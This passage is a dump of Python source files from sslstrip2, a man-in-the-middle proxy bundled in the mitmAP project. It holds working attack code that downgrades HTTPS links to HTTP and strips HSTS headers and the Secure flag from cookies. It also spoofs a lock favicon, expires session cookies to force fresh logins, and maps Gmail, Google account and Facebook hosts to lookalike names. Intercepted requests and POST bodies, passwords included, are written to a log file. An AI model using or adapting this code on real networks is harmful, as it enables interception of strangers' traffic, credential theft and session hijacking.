self.uri 91 | 92 | 93 | def getPathToLockIcon(self): 94 | if os.path.exists("lock.ico"): return "lock.ico" 95 | 96 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) 97 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") 98 | 99 | if os.path.exists(scriptPath): return scriptPath 100 | 101 | logging.warning("Error: Could not find lock.ico") 102 | return "lock.ico" 103 | 104 | def save_req(self,lfile,str): 105 | f = open(lfile,"a") 106 | f.write(str) 107 | f.close() 108 | 109 | def handleHostResolvedSuccess(self, address): 110 | headers = self.cleanHeaders() 111 | # for header in headers: 112 | # logging.debug("HEADER %s = %s",header,headers[header]) 113 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) 114 | lhost = self.getHeader("host").lower() 115 | host = self.urlMonitor.URLgetRealHost("%s"%lhost) 116 | client = self.getClientIP() 117 | path = self.getPathFromUri() 118 | self.content.seek(0,0) 119 | postData = self.content.read() 120 | real = self.urlMonitor.real 121 | patchDict = self.urlMonitor.patchDict 122 | 123 | if len(real)>0: 124 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) 125 | path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) 126 | postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) 127 | if len(patchDict)>0: 128 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) 129 | postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) 130 | 131 | url = 'http://' + host + path 132 | headers['content-length']="%d"%len(postData) 133 | 134 | self.dnsCache.cacheResolution(host, address) 135 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)): 136 | logging.debug("Sending expired cookies...") 137 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, 138 | host, headers, path)) 139 | elif (self.urlMonitor.isSecureFavicon(client, path)): 140 | logging.debug("Sending spoofed favicon response...") 141 | self.sendSpoofedFaviconResponse() 142 | elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): 143 | if 'securelink' in headers: 144 | del headers['securelink'] 145 | logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) 146 | self.proxyViaSSL(address, self.method, path, postData, headers, 147 | self.urlMonitor.getSecurePort(client, url)) 148 | else: 149 | logging.debug("LEO Sending request via HTTP...") 150 | self.proxyViaHTTP(address, self.method, path, postData, headers) 151 | 152 | def handleHostResolvedError(self, error): 153 | logging.warning("Host resolution error: " + str(error)) 154 | self.finish() 155 | 156 | def resolveHost(self, host): 157 | address = self.dnsCache.getCachedAddress(host) 158 | 159 | if address != None: 160 | logging.debug("Host cached.") 161 | return defer.succeed(address) 162 | else: 163 | logging.debug("Host not cached.") 164 | return reactor.resolve(host) 165 | 166 | def process(self): 167 | host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) 168 | logging.debug("Resolving host: %s" % host) 169 | deferred = self.resolveHost(host) 170 | 171 | deferred.addCallback(self.handleHostResolvedSuccess) 172 | deferred.addErrback(self.handleHostResolvedError) 173 | 174 | def proxyViaHTTP(self, host, method, path, postData, headers): 175 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 176 | self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') 177 | connectionFactory.protocol = ServerConnection 178 | self.reactor.connectTCP(host, 80, connectionFactory) 179 | 180 | def proxyViaSSL(self, host, method, path, postData, headers, port): 181 | self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') 182 | clientContextFactory = ssl.ClientContextFactory() 183 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 184 | connectionFactory.protocol = SSLServerConnection 185 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) 186 | 187 | def sendExpiredCookies(self, host, path, expireHeaders): 188 | self.setResponseCode(302, "Moved") 189 | self.setHeader("Connection", "close") 190 | self.setHeader("Location", "http://" + host + path) 191 | 192 | for header in expireHeaders: 193 | self.setHeader("Set-Cookie", header) 194 | 195 | self.finish() 196 | 197 | def sendSpoofedFaviconResponse(self): 198 | icoFile = open(self.getPathToLockIcon()) 199 | 200 | self.setResponseCode(200, "OK") 201 | self.setHeader("Content-type", "image/x-icon") 202 | self.write(icoFile.read()) 203 | 204 | icoFile.close() 205 | self.finish() 206 | -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/ClientRequest.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/ClientRequest.pyc -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/CookieCleaner.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/CookieCleaner.pyc -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/DnsCache.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/DnsCache.pyc -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | ServerConnection.__init__(self, command, uri, postData, headers, client) 39 | 40 | def getLogLevel(self): 41 | return logging.INFO 42 | 43 | def getPostPrefix(self): 44 | return "SECURE POST" 45 | 46 | def handleHeader(self, key, value): 47 | if (key.lower() == 'set-cookie'): 48 | newvalues =[] 49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 50 | values = value.split(';') 51 | for v in values: 52 | if v[:7].lower()==' domain': 53 | dominio=v.split("=")[1] 54 | logging.debug("LEO Parsing cookie domain parameter: %s"%v) 55 | real = self.urlMonitor.sustitucion 56 | if dominio in real: 57 | v=" Domain=%s"%real[dominio] 58 | logging.debug("LEO New cookie domain parameter: %s"%v) 59 | newvalues.append(v) 60 | value = ';'.join(newvalues) 61 | 62 | if (key.lower() == 'access-control-allow-origin'): 63 | value='*' 64 | 65 | ServerConnection.handleHeader(self, key, value) 66 | 67 | def stripFileFromPath(self, path): 68 | (strippedPath, lastSlash, file) = path.rpartition('/') 69 | return strippedPath 70 | 71 | def buildAbsoluteLink(self, link): 72 | absoluteLink = "" 73 | 74 | if ((not link.startswith('http')) and (not link.startswith('/'))): 75 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 76 | 77 | logging.debug("Found path-relative link in secure transmission: " + link) 78 | logging.debug("New Absolute path-relative link: " + absoluteLink) 79 | elif not link.startswith('http'): 80 | absoluteLink = "http://"+self.headers['host']+link 81 | 82 | logging.debug("Found relative link in secure transmission: " + link) 83 | logging.debug("New Absolute link: " + absoluteLink) 84 | 85 | if not absoluteLink == "": 86 | absoluteLink = absoluteLink.replace('&', '&') 87 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 88 | 89 | def replaceCssLinks(self, data): 90 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 91 | 92 | for match in iterator: 93 | self.buildAbsoluteLink(match.group(1)) 94 | 95 | return data 96 | 97 | def replaceFavicon(self, data): 98 | match = re.search(SSLServerConnection.iconExpression, data) 99 | 100 | if (match != None): 101 | data = re.sub(SSLServerConnection.iconExpression, 102 | "", data) 103 | else: 104 | data = re.sub(SSLServerConnection.headExpression, 105 | "", data) 106 | 107 | return data 108 | 109 | def replaceSecureLinks(self, data): 110 | data = ServerConnection.replaceSecureLinks(self, data) 111 | data = self.replaceCssLinks(data) 112 | 113 | if (self.urlMonitor.isFaviconSpoofing()): 114 | data = self.replaceFavicon(data) 115 | 116 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 117 | 118 | for match in iterator: 119 | self.buildAbsoluteLink(match.group(10)) 120 | 121 | return data 122 | -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/SSLServerConnection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/SSLServerConnection.pyc -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string, random, zlib, gzip, StringIO 20 | 21 | from twisted.web.http import HTTPClient 22 | from URLMonitor import URLMonitor 23 | 24 | class ServerConnection(HTTPClient): 25 | 26 | ''' The server connection is where we do the bulk of the stripping. Everything that 27 | comes back is examined. The headers we dont like are removed, and the links are stripped 28 | from HTTPS to HTTP. 29 | ''' 30 | 31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 32 | urlType = re.compile(r"https://", re.IGNORECASE) 33 | urlTypewww = re.compile(r"https://www", re.IGNORECASE) 34 | urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 35 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 36 | urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) 37 | urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) 38 | # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) 39 | 40 | def __init__(self, command, uri, postData, headers, client): 41 | self.command = command 42 | self.uri = uri 43 | self.postData = postData 44 | self.headers = headers 45 | self.client = client 46 | self.urlMonitor = URLMonitor.getInstance() 47 | self.isImageRequest = False 48 | self.isCompressed = False 49 | self.contentLength = None 50 | self.shutdownComplete = False 51 | 52 | def getLogLevel(self): 53 | return logging.DEBUG 54 | 55 | def getPostPrefix(self): 56 | return "POST" 57 | 58 | def sendRequest(self): 59 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) 60 | self.sendCommand(self.command, self.uri) 61 | 62 | def sendHeaders(self): 63 | for header, value in self.headers.items(): 64 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) 65 | self.sendHeader(header, value) 66 | 67 | self.endHeaders() 68 | 69 | def sendPostData(self): 70 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "): " + str(self.postData)) 71 | self.transport.write(self.postData) 72 | 73 | def connectionMade(self): 74 | logging.log(self.getLogLevel(), "HTTP connection made.") 75 | self.sendRequest() 76 | self.sendHeaders() 77 | 78 | if (self.command == 'POST'): 79 | self.sendPostData() 80 | 81 | def handleStatus(self, version, code, message): 82 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) 83 | self.client.setResponseCode(int(code), message) 84 | 85 | def handleHeader(self, key, value): 86 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) 87 | 88 | if (key.lower() == 'location'): 89 | value = self.replaceSecureLinks(value) 90 | 91 | if (key.lower() == 'content-type'): 92 | if (value.find('image') != -1): 93 | self.isImageRequest = True 94 | logging.debug("Response is image content, not scanning...") 95 | 96 | if (key.lower() == 'content-encoding'): 97 | if (value.find('gzip') != -1): 98 | logging.debug("Response is compressed...") 99 | self.isCompressed = True 100 | elif (key.lower() == 'content-length'): 101 | self.contentLength = value 102 | elif (key.lower() == 'set-cookie'): 103 | self.client.responseHeaders.addRawHeader(key, value) 104 | elif (key.lower()== 'strict-transport-security'): 105 | logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....") 106 | else: 107 | self.client.setHeader(key, value) 108 | 109 | 110 | def handleEndHeaders(self): 111 | if (self.isImageRequest and self.contentLength != None): 112 | self.client.setHeader("Content-Length", self.contentLength) 113 | 114 | if self.length == 0: 115 | self.shutdown() 116 | 117 | def handleResponsePart(self, data): 118 | if (self.isImageRequest): 119 | self.client.write(data) 120 | else: 121 | HTTPClient.handleResponsePart(self, data) 122 | 123 | def handleResponseEnd(self): 124 | if (self.isImageRequest): 125 | self.shutdown() 126 | else: 127 | HTTPClient.handleResponseEnd(self) 128 | 129 | def handleResponse(self, data): 130 | if (self.isCompressed): 131 | logging.debug("Decompressing content...") 132 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 133 | 134 | logging.log(self.getLogLevel(), "Read from server:\n" + data) 135 | #logging.log(self.getLogLevel(), "Read from server:\n " ) 136 | 137 | 138 | data = self.replaceSecureLinks(data) 139 | 140 | if (self.contentLength != None): 141 | self.client.setHeader('Content-Length', len(data)) 142 | 143 | self.client.write(data) 144 | self.shutdown() 145 | 146 | def replaceSecureLinks(self, data): 147 | sustitucion = {} 148 | patchDict = self.urlMonitor.patchDict 149 | if len(patchDict)>0: 150 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) 151 | data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) 152 | 153 | iterator = re.finditer(ServerConnection.urlExpression, data) 154 | for match in iterator: 155 | url = match.group() 156 | 157 | logging.debug("Found secure reference: " + url) 158 | nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) 159 | logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) 160 | sustitucion[url] = nuevaurl 161 | #data.replace(url,nuevaurl) 162 | 163 | #data = self.urlMonitor.DataReemplazo(data) 164 | if len(sustitucion)>0: 165 | dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) 166 | data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) 167 | 168 | #logging.debug("LEO DEBUG received data:\n"+data) 169 | #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) 170 | #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) 171 | #if data.find("http://w.face")!=-1: 172 | # logging.debug("LEO DEBUG Found error in modifications") 173 | # raw_input("Press Enter to continue") 174 | #return re.sub(ServerConnection.urlType, 'http://web.', data) 175 | return data 176 | 177 | 178 | def shutdown(self): 179 | if not self.shutdownComplete: 180 | self.shutdownComplete = True 181 | self.client.finish() 182 | self.transport.loseConnection() 183 | 184 | 185 | -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/ServerConnection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/ServerConnection.pyc -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Server connection failed.") 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Retrying via SSL") 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/ServerConnectionFactory.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/ServerConnectionFactory.pyc -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/StrippingProxy.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/StrippingProxy.pyc -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # URLMonitor 2 | 3 | import re 4 | import logging 5 | 6 | class URLMonitor: 7 | 8 | ''' 9 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 10 | server is expecting over SSL. It also keeps track of secure favicon urls. 11 | ''' 12 | 13 | # Start the arms race, and end up here... 14 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 15 | _instance = None 16 | sustitucion = {} # LEO: diccionario host / sustitucion 17 | real = {} # LEO: diccionario host / real 18 | patchDict = { 19 | 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', 20 | 'https:\/\/www.facebook.com':'http:\/\/wwww.facebook.com', 21 | 'return"https:"':'return"http:"' 22 | } 23 | 24 | def __init__(self): 25 | self.strippedURLs = set() 26 | self.strippedURLPorts = {} 27 | self.faviconReplacement = False 28 | self.sustitucion["mail.google.com"] = "gmail.google.com" 29 | self.real["gmail.google.com"] = "mail.google.com" 30 | 31 | self.sustitucion["www.facebook.com"] = "social.facebook.com" 32 | self.real["social.facebook.com"] = "www.facebook.com" 33 | 34 | self.sustitucion["accounts.google.com"] = "cuentas.google.com" 35 | self.real["cuentas.google.com"] = "accounts.google.com" 36 | 37 | self.sustitucion["accounts.google.es"] = "cuentas.google.es" 38 | self.real["cuentas.google.es"] = "accounts.google.es" 39 | 40 | 41 | def isSecureLink(self, client, url): 42 | for expression in URLMonitor.javascriptTrickery: 43 | if (re.match(expression, url)): 44 | logging.debug("JavaScript trickery!") 45 | return True 46 | 47 | if (client, url) in self.strippedURLs: 48 | logging.debug("(%s, %s) in strippedURLs" % (client, url)) 49 | return (client,url) in self.strippedURLs 50 | 51 | def getSecurePort(self, client, url): 52 | if (client,url) in self.strippedURLs: 53 | return self.strippedURLPorts[(client,url)] 54 | else: 55 | return 443 56 | 57 | def addSecureLink(self, client, url): 58 | methodIndex = url.find("//") + 2 59 | method = url[0:methodIndex] 60 | pathIndex = url.find("/", methodIndex) 61 | 62 | if pathIndex is -1: 63 | pathIndex = len(url) 64 | url += "/" 65 | 66 | host = url[methodIndex:pathIndex].lower() 67 | path = url[pathIndex:] 68 | 69 | port = 443 70 | portIndex = host.find(":") 71 | 72 | if (portIndex != -1): 73 | host = host[0:portIndex] 74 | port = host[portIndex+1:] 75 | if len(port) == 0: 76 | port = 443 77 | 78 | #LEO: Sustituir HOST 79 | if not self.sustitucion.has_key(host): 80 | lhost = host[:4] 81 | if lhost=="www.": 82 | self.sustitucion[host] = "w"+host 83 | self.real["w"+host] = host 84 | else: 85 | self.sustitucion[host] = "web"+host 86 | self.real["web"+host] = host 87 | logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) 88 | 89 | url = 'http://' + host + path 90 | #logging.debug("LEO stripped URL: %s %s"%(client, url)) 91 | 92 | self.strippedURLs.add((client, url)) 93 | self.strippedURLPorts[(client, url)] = int(port) 94 | return 'http://'+self.sustitucion[host]+path 95 | 96 | def setFaviconSpoofing(self, faviconSpoofing): 97 | self.faviconSpoofing = faviconSpoofing 98 | 99 | def isFaviconSpoofing(self): 100 | return self.faviconSpoofing 101 | 102 | def isSecureFavicon(self, client, url): 103 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 104 | 105 | def URLgetRealHost(self,host): 106 | logging.debug("Parsing host: %s"%host) 107 | if self.real.has_key(host): 108 | logging.debug("New host: %s"%self.real[host]) 109 | return self.real[host] 110 | else: 111 | logging.debug("New host: %s"%host) 112 | return host 113 | 114 | def getInstance(): 115 | if URLMonitor._instance == None: 116 | URLMonitor._instance = URLMonitor() 117 | 118 | return URLMonitor._instance 119 | 120 | getInstance = staticmethod(getInstance) 121 | -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/URLMonitor.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/URLMonitor.pyc -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/__init__.pyc --------------------------------------------------------------------------------